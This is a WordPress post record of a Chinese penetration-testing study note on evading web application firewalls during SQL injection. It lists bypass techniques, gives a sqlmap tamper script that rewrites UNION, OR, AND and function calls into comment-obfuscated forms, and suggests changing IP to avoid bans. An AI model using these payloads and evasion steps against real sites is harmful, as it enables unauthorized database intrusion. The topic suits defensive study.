{"id":271,"date":"2021-12-01T17:14:43","date_gmt":"2021-12-01T09:14:43","guid":{"rendered":"https:\/\/www.langsasec.cn\/?p=271"},"modified":"2022-11-14T18:09:36","modified_gmt":"2022-11-14T10:09:36","slug":"sqlbypassjb","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2021\/12\/01\/sqlbypassjb\/","title":{"rendered":"SQLmap \u7ed5 WAF\u811a\u672c\u7f16\u5199"},"content":{"rendered":"<h2><span class=\"ez-toc-section\" id=\"wafweb-application-firewall%ef%bc%9aweb%e5%ba%94%e7%94%a8%e9%98%b2%e7%81%ab%e5%a2%99\"><\/span>WAF(web application firewall)\uff1aWeb\u5e94\u7528\u9632\u706b\u5899<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>WAF\u4e3a\u4e86\u9632\u5fa1\u7f51\u7ad9\u88ab\u5165\u4fb5\u7684\u5e38\u89c1\u624b\u6bb5\uff1a<\/p>\n<p>\u68c0\u6d4b\u5230\u5165\u4fb5\u8005\u4f1a\u62e6\u622a\u4f60\u5f53\u524d\u8bbf\u95ee\u7684\u9875\u9762\uff0c\u6216\u8005\u8df3\u8f6c\u5230\u5176\u4ed6\u754c\u9762\uff0c\u518d\u6216\u8005\u76f4\u63a5ban\u4f60\u7684IP\u3002<\/p>\n<p>WAF\u7c7b\u578b\uff1a<\/p>\n<p>\u786c\u4ef6WAF\uff1a\u6709\u4e2a\u8bbe\u5907\uff0c\u5728\u7f51\u5173\u7684\u5730\u65b9\u653e\u4e00\u4e2a\u8bbe\u5907<\/p>\n<p>\u8f6f\u4ef6WAF\uff1a\u8f6f\u4ef6\u5b89\u88c5<\/p>\n<p>\u4e91WAF\uff1a\u4e91\u670d\u52a1\u4e0a\uff0c\u5e94\u8be5\u662f\u786c\u4ef6\u6216\u8f6f\u4ef6\u5f62\u5f0f\u5b58\u5728\u7684<\/p>\n<p>\u533a\u522b\u4e0d\u5927\uff0c\u90fd\u662fWAF\uff0c\u53ea\u4e0d\u8fc7\u662f\u89c4\u5219\u4e0d\u540c\u7f62\u4e86\u3002<\/p>\n<p>WAF\u7684\u6838\u5fc3\u68c0\u6d4b\u673a\u5236\u5c31\u662f\u6b63\u5219\u8868\u8fbe\u5f0f\uff0c\u901a\u8fc7\u5f00\u53d1\u5199\u5728WAF\u4e2d\u7684\u6b63\u5219\u5339\u914d\u6765\u62e6\u622a\u3002<\/p>\n<p><strong>\u7ed5WAF\u7684\u4e00\u5b9a\u662f\u672c\u5730\u6d4b\u8bd5\u6210\u529f\u518d\u5b9e\u884c\u5229\u7528,\u5047\u5982\u65e0\u6cd5\u672c\u5730\u6d4b\u8bd5\u53ef\u4ee5\u9009\u62e9\u4f4e\u9891\u7387\u6216\u8005\u6362IP\u3002<\/strong><\/p>\n<p><u><strong>\u5e38\u89c1WAF\u62e6\u622a\u56fe<\/strong><\/u><\/p>\n<p><u><strong>\u53ef\u4ee5\u53c2\u8003\u8fd9\u4e2a  <a href=\"https:\/\/mp.weixin.qq.com\/s\/3uUZKryCufQ_HcuMc8ZgQQ\">https:\/\/mp.weixin.qq.com\/s\/3uUZKryCufQ_HcuMc8ZgQQ<\/a><\/strong><\/u><\/p>\n<p><strong>\u901a\u8fc7\u5bf9\u5e94WAF\u62ff\u5230\u672c\u5730\u6765\u6d4b\u8bd5<\/strong><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e7%bb%95waf%e7%9a%84%e5%b8%b8%e8%a7%81%e6%89%8b%e6%b3%95%ef%bc%9a\"><\/span><strong>\u7ed5WAF\u7684\u5e38\u89c1\u624b\u6cd5\uff1a<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><strong>1.\u7528\u5176\u4ed6\u51fd\u6570\uff0c\u5199\u6cd5\u66ff\u4ee3<\/strong><\/p>\n<p>2.\u5927\u5c0f\u5199\u7ed5\u8fc7\uff08\u8001WAF\uff09<\/p>\n<p>3.\u66ff\u6362\u7ed5\u8fc7\uff1a\u4f1a\u628a\u5173\u952e\u8bcd\u66ff\u6362\u4e3a\u7a7a\uff0c\u53ef\u4ee5seselectlect,ununionion\u7b49<\/p>\n<p><strong>4.\u7f16\u7801\u7ed5\u8fc7\uff1a\u7f51\u7ad9\u9700\u8981\u81ea\u5e26\u7f16\u89e3\u7801<\/strong><\/p>\n<p><strong>5.\u6ce8\u91ca\u7ed5\u8fc7\uff1aWAF\u4f1a\u8ba4\u4e3a\u6ce8\u91ca\u7684\u4e1c\u897f\u5c31\u662f\u5b89\u5168\u7684\uff0c<\/strong><\/p>\n<p><strong>hpp:<a href=\"http:\/\/xxx.com?id=1\/*order\">http:\/\/xxx.com?id=1\/*order<\/a> by 1&amp;id=1 order by 2 -- qw *\/   \u5b83\u7684id\u4f20\u4e86\u4e24\u6b21\uff0c\u53d8\u91cf\u8986\u76d6\u628a\u524d\u9762\u7684\u4f20\u53c2\u7ed9\u8986\u76d6\u4e86\u3002<\/strong><\/p>\n<p>6.\u767d\u540d\u5355\u7ed5\u8fc7<\/p>\n<p><strong>7.\u5783\u573e\u6570\u636e\u586b\u5145\uff1apost\u4f20\u53c2\u6570\u636e\u5305\u6ca1\u6709\u957f\u5ea6\u9650\u5236\uff0cWAF\u68c0\u6d4b\u9700\u8981\u65f6\u95f4\uff0c\u6709\u65f6\u4f1a\u6709\u957f\u5ea6\u9650\u5236<\/strong>\u3002<\/p>\n<p>\u5e38\u89c1\u66ff\u4ee3\uff1a<\/p>\n<p>\u7a7a\u683c\u66ff\u4ee3+\u6216\u8005\/**\/<\/p>\n<p>\u51fd\u6570() \u7528\u51fd\u6570\/**\/()\u4ee3\u66ff<\/p>\n<p><strong>\u66f4\u591a\u5177\u4f53\u7ed5waf<\/strong><\/p>\n<p><strong>\u8fd8\u53ef\u4ee5\u53c2\u8003<\/strong>\uff1a<a href=\"https:\/\/www.cnblogs.com\/sunny11\/p\/14438269.html\">https:\/\/www.cnblogs.com\/sunny11\/p\/14438269.html<\/a><\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e8%84%9a%e6%9c%ac%e7%bc%96%e5%86%99\"><\/span><strong>\u811a\u672c\u7f16\u5199<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><em>\u5199\u811a\u672c\u7684\u524d\u63d0\u662f<strong>\u624b\u52a8\u53ef\u4ee5\u7ed5\u8fc7<\/strong>\uff0c\u5047\u5982\u7ed5\u4e0d\u8fc7\u5c31\u4e0d\u7528\u8c08\u5199\u811a\u672c\u4e86\u3002<\/em><\/p>\n<p><strong>\u53c2\u8003\u6587\u7ae0\u548c\u4ecb\u7ecd\u5982\u4e0b\uff1a<\/strong><\/p>\n<p><strong><a href=\"https:\/\/blog.webshell.cc\/7162.html\">sqlmap,Tamper\u8be6\u89e3\u53ca\u4f7f\u7528\u6307\u5357<\/a><\/strong><\/p>\n<p>tamper\u811a\u672c\u4f4d\u4e8e<code>sqlmap-master\/tamper\/<\/code><\/p>\n<p>--list-tampers \u67e5\u770bsqlmap\u81ea\u5e26\u7684tamper\u811a\u672c<\/p>\n<p>sqlmap\u600e\u4e48\u7528<\/p>\n<p>\u7528 <strong>--tamper \u811a\u672c\u540d\u79f0<\/strong>  \u6765\u4f7f\u7528<\/p>\n<p><strong>\u600e\u4e48\u5199\uff1f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.langsasec.cn\/wp-content\/uploads\/2021\/12\/image-20211201171110760.png\" alt=\"image-20211201171110760\" title=\"SQLmap \u7ed5 WAF\u811a\u672c\u7f16\u5199\u63d2\u56fe\" \/><\/p>\n<p>def tamper(payload,**kwargs):<br \/>\n\u8fd9\u4e2a\u662f\u5b9a\u4e49\u4e86\u4e00\u4e2a\u51fd\u6570tamper,\u7136\u540e\u6709\u4e24\u4e2a\u5f62\u53c2\uff0cpayload\u548ckwargs<\/p>\n<p>payload\u5b9e\u9645\u4e0a\u5c31\u662f\u6307sqlmap\u539f\u672c\u8981\u6267\u884c\u7684\u4ee3\u7801\u3002<br \/>\nkwargs\u53ef\u4ee5\u7528\u6765\u8bbe\u7f6eHEAD\u5934\u4fe1\u606f\uff08\u4e0d\u8fc7SQLmap\u811a\u672c\u4e2d\u7528\u7684\u5c11\uff09\u6211\u53ef\u4ee5\u5728\u6570\u636e\u5305\u91cc\u9762\u8bbe\u7f6e\u4e3a\u5565\u8981\u7528\u8fd9\u79cd\u811a\u672c\uff1f<\/p>\n<p><strong><em>\u7167\u732b\u753b\u864e<\/em><\/strong><\/p>\n<p><strong>\u56e0\u6b64\u6211\u4eec\u4fee\u6539\u81ea\u5e26\u811a\u672c\u5c31\u597d<\/strong><\/p>\n<p>\u901a\u8fc7\u89c2\u5bdf\u53ea\u9700\u8981\u7528\u66ff\u6362\u51fd\u6570\u8bbe\u7f6epayload\u5373\u53ef<\/p>\n<p>paylod.replace()<\/p>\n<p>return payload<\/p>\n<p>import re  \u5f15\u5165python\u6b63\u5219\u5e93<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-python\">**\u4ee3\u7801\u793a\u4f8b\uff1a**\n\n#!\/usr\/bin\/env python\n\n&quot;&quot;&quot; Copyright (c) 2006-2020 sqlmap developers (http:\/\/sqlmap.org\/) See the file &#039;LICENSE&#039; for copying permission &quot;&quot;&quot;\n\nimport re # \u7528\u4e8e\u6b63\u5219\u5339\u914d\n\nfrom lib.core.data import kb from lib.core.enums import PRIORITY\n\n__priority__ = PRIORITY.NORMAL # \u5b9a\u4e49\u4f18\u5148\u7ea7\uff0c\u6b64\u5904\u662f\u2018\u4e00\u822c\u2019\n\ndef dependencies(): \n    pass\n\ndef tamper(payload, **kwargs): # \u5b9a\u4e49tamper\u811a\u672c\n\n#\u8fd9\u91cc\u5199\u4f60\u7684\u8fc7waf\u4ee3\u7801\n#eg:\n    payload = payload.replace(&#039;UNION&#039;, &#039;uNiOn\/*\/%0a*a*\/&#039;)\n    payload = payload.replace(&#039;DATABASE()&#039;, &#039;dataBase\/*!(*\/)&#039;)\n    payload = payload.replace(&#039;USER()&#039;, &#039;usEr\/*!(*\/)&#039;)\n    payload = payload.replace(&#039; &#039;, &#039;\/**\/&#039;)\n    payload = payload.replace(&#039;OR&#039;, &#039;\/*!14400Or*\/&#039;)\n    payload = payload.replace(&#039;AND&#039;, &#039;\/*!14400aNd*\/&#039;)\n#\u8fd9\u91cc\u5199\u4f60\u7684\u8fc7waf\u4ee3\u7801\n\n    return payload <\/code><\/pre>\n<p>\u81ea\u5e26\u811a\u672c\u6709\u4e2abase64\u7684\u811a\u672c\u4e5f\u662f\u7c7b\u4f3c\u7684\u6846\u67b6\uff0c\u5982\u679c\u6709\u81ea\u5df1\u9700\u8981\u7684\u5e93\uff0c\u81ea\u5df1\u8c03\u7528\u5373\u53ef\uff0c\u5efa\u8bae\u5b66\u4e00\u70b9python\u57fa\u7840<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/blog.langsasec.cn\/wp-content\/uploads\/2021\/12\/image-20211201163819648.png\" alt=\"image-20211201163819648\" title=\"SQLmap \u7ed5 WAF\u811a\u672c\u7f16\u5199\u63d2\u56fe1\" \/><\/p>\n<p><strong>sqlmap.py  -r 1.txt --tamper \u811a\u672c --flush--session --proxy=<a href=\"http:\/\/127.0.0.1:8080\">http:\/\/127.0.0.1:8080<\/a><\/strong><\/p>\n<p>--flush--session\u5fd8\u8bb0\u524d\u9762\u6570\u636e\u5305\u7684\u8bb0\u5f55<\/p>\n<p>--proxy=<a href=\"http:\/\/127.0.0.1:8080\">http:\/\/127.0.0.1:8080<\/a> \u5c06\u6570\u636e\u5305\u53d1\u5230burp\u7684\u4ee3\u7406\u4e0a\u53ef\u4ee5\u770b\u5230\u811a\u672c\u8dd1\u7684\u7ec6\u8282<\/p>\n<p><em>\u5c01IP\u600e\u4e48\u529e<\/em><\/p>\n<p>1.*\u8bbf\u95ee\u592a\u5feb\uff0c\u63a7\u5236\u9891\u7387\uff1a--delay  \u6b21\u6570<\/p>\n<p>2.\u6362IP<\/p>\n<p>3.\u53ef\u80fd\u6709\u6076\u610f\u4f20\u53c2\u88ab\u68c0\u6d4b\uff0c\u81ea\u884c\u68c0\u67e5\u4e0b<\/p>\n<h2><span class=\"ez-toc-section\" id=\"%e6%b0%b8%e8%bf%9c%e8%ae%b0%e4%bd%8f%e5%b7%a5%e5%85%b7%e4%b8%8d%e6%98%af%e4%b8%87%e8%83%bd%e7%9a%84%ef%bc%8c%e8%84%9a%e6%9c%ac%e4%b8%8d%e4%b8%80%e5%ae%9a%e5%b0%b1%e5%8f%af%e4%bb%a5%e8%b7%91%e6%9d%a5%e6%95%b0%e6%8d%ae\"><\/span>\u6c38\u8fdc\u8bb0\u4f4f\u5de5\u5177\u4e0d\u662f\u4e07\u80fd\u7684\uff0c\u811a\u672c\u4e0d\u4e00\u5b9a\u5c31\u53ef\u4ee5\u8dd1\u6765\u6570\u636e<span class=\"ez-toc-section-end\"><\/span><\/h2>\n","protected":false},"excerpt":{"rendered":"<p>WAF(web application firewall)\uff1aWeb\u5e94\u7528\u9632\u706b\u5899 WAF\u4e3a\u4e86\u9632\u5fa1\u7f51\u7ad9\u88ab\u5165\u4fb5\u7684\u5e38\u89c1\u624b [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22,19],"tags":[],"class_list":["post-271","post","type-post","status-publish","format-standard","hentry","category-webpt-studynote","category-penetration-test"],"_links":{"self":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/271","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/comments?post=271"}],"version-history":[{"count":5,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/271\/revisions"}],"predecessor-version":[{"id":1053,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/posts\/271\/revisions\/1053"}],"wp:attachment":[{"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/media?parent=271"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/categories?post=271"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.langsasec.cn\/index.php\/wp-json\/wp\/v2\/tags?post=271"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}